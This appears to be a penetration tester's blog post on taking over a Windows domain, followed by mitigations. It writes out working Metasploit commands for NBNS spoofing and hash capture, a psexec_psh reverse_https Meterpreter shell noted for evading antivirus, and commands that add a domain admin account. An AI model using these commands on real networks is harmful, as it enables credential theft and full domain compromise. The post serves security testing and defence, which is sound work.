More often than not, network administrators will respond to the question “do your users have local administrator access to their workstations” with “yes, because software vendor XYZ requires it in order to properly function.” There are obvious dangers associated with local administrators such as employees being able to install unauthorized software and a larger footprint for malware to take hold. Many take comfort in other mitigating controls such as group policy restrictions, antivirus clients, and monitoring software. There is another, less obvious vulnerability: authenticated remote code execution.
One of my favorite techniques in performing an internal penetration test goes like this:
- Obtain password hashes via MiTM attack
- Crack passwords
- Find workstations in which a compromised user has local admin and use the credentials to obtain a remote shell
- Migrate into a process with domain admin rights
- Create domain admin account to demonstrate that the domain is compromised
Obtaining password hashes on an internal network is generally pretty easy. There are a variety of tools to facilitate a man-in-the-middle attack and sniff hashes, including Ettercap, Cain & Abel, and Metasploit. One of my personal favorites is using the Metasploit auxiliary nbns_response module alongside of smb & http_ntlm capture modules:
use auxiliary/server/capture/smb set srvhost 192.168.0.100 set cainpwfile /root/Desktop/cain set johnpwfile /root/Desktop/john run use auxiliary/server/capture/http_ntlm set srvhost 192.168.0.100 set cainpwfile /root/Desktop/cain set johnpwfile /root/Desktop/john set uripath / set srvport 80 run use auxiliary/spoof/nbns/nbns_response set spoofip 192.168.0.100 run
After a couple of minutes, I generally have at least a handful of user hashes to crack:
From there, we can crack the hashes with our favorite hash cracker. I personally use rcracki_mt for LM hashes and John the Ripper for NT hashes. An example python script to automate some of the JTR commands can be found in our Github scripts repository – https://github.com/isaudits/scripts/blob/master/john.py. Note that if you go this route, you will need to edit the script to point to the location of your wordlist files and specify which JTR transforms to use.
Stephen Haywood (aka AverageSecurityGuy) has written a very nice Python script which provides a password cracking client / server model over XMLRPC and automates much of the password cracking process which can be found here – https://github.com/averagesecurityguy/crack. Here, we have run our password hash file through the crack server and returned a domain user password:
So, now we have credentials – let’s find some machines that the credentials have local admin access to and upload a Meterpreter shell. Nmap provides an smb share enumeration script that will accept credentials and scan the network for accessible shares – if we have read/write access to the ADMIN$ share on a workstation, we can generally obtain a meterpreter shell using the psexec smb module. We have a script for automating identification of local admins in our scripts repository – https://github.com/isaudits/scripts/blob/master/find_local_admin.py which is based on a ruby script from Zeknox @ pentestgeek for parsing nmap smb enumeration output. Scanning the local subnet returns a list of machines for us to try psexec on:
Let’s pick a few and see if we can get a meterpreter shell; I like to use the psexec_psh module as it generally bypasses antivirus, however the standard psexec option can be used if you do not have targets with powershell installed:
use exploit/windows/smb/psexec_psh set payload windows/meterpreter/reverse_https set LHOST 192.168.0.100 set LPORT 443 set RHOST 192.168.0.101 set SMBUser <username goes here> set SMBPass <password goes here> set SMBDomain <domain name goes here> exploit
And, viola – we have a shell; review of running processes shows one which we suspect is a domain admin, so we can migrate into that process and attempt to add a user account in active directory:
From the command shell running under the migrated credentials, we add a domain user and promote it to domain admins:
net user pentest r3@llyh@rdp@$$w0rd /add /domain net group 'Domain Admins' pentest /add /domain
Shortly after taking the screenshots for this post, I came across the KILLER smbexec utility, once again authored by our friends at pentestgeek. This tool pretty much automates the previous steps of enumerating targets which given credentials have smb access to and obtaining a shell. It will even indicate which machines have a domain admin logged in and what the username is. Reperformance of the entire process using this tool yielded domain admin status from start to finish in about 30 minutes! Below are some screenshots of smbexec in action (note that I took these after the fact in my lab environment):
So now that we have seen how easy these techniques can be combined to perform a successful compromise of an entire Windows domain, let’s discuss how to prevent this attack from being successful. The 3 main mitigation points to thwart this attack are:
- Prevent an attacker from obtaining the hashes
- Prevent an attacker from cracking the hashes
- Prevent an attacker from using the hashes
For the first point, we have several different security layers that can be employed. Since the attack is performed on the same network segment as the victim, we can implement preventative controls such as 802.1X port authentication on the switches or detective controls in the form of a NIDS capable of detecting NBNS and ARP spoofing (not used in this example, but we can accomplish the same thing with APR). These controls will unfortunately only offer protection within your walls – what about the case of a remote user with a laptop that is using Wifi at a hotel or working from a client site? To prevent NBNS spoofing we have a few options including completely disabling the NetBIOS protocol or blocking outbound NBNS requests using the Windows firewall. Both of these options could have negative effects on applications which may rely on NetBIOS or NBNS to function properly. An example could be an application which connects to a remote Microsoft SQL Server, which uses NBNS to identify remote SQL instances that are visible on the network.
For the second point, we are essentially at the mercy of our users if we rely only on single factor authentication using passwords. Even with complexity requirements enforced through group policy, the password “Password1” would be considered perfectly acceptable by policy as it contains 3 of 4 uppercase, lowercase, numeric, and special character. User education and regular password audits using dictionary attacks are key – I have personally noted a much lower success rate on dictionary attacks at a handful of my clients which regularly perform dictionary attacks on their users. In the above example, we focused only upon NT hashes, however it is still relatively common to see LM hashing employed. An attacker with a decent set of rainbow tables can crack even the most complex passwords if LM hashes can be obtained.
For the third point, we are back to the subject presented at the beginning of this post – DO NOT MAKE REGULAR USERS LOCAL ADMINS! In the event that removing local administrator rights does cause problems with certain applications, it may be possible that these issues can be circumvented by specifying the offending executable always run as an administrator. The sheer number of offending execuables and dependencies that an administrator has to deal with could remove this option from the table. Another option which would prevent the execution of the standard psexec Metasploit payload would be to disable administrative shares. Unfortunately, the powershell variant that we use here does not rely on administrative shares to transfer a payload binary to the target so this option would be ineffective against the psexec_psh module.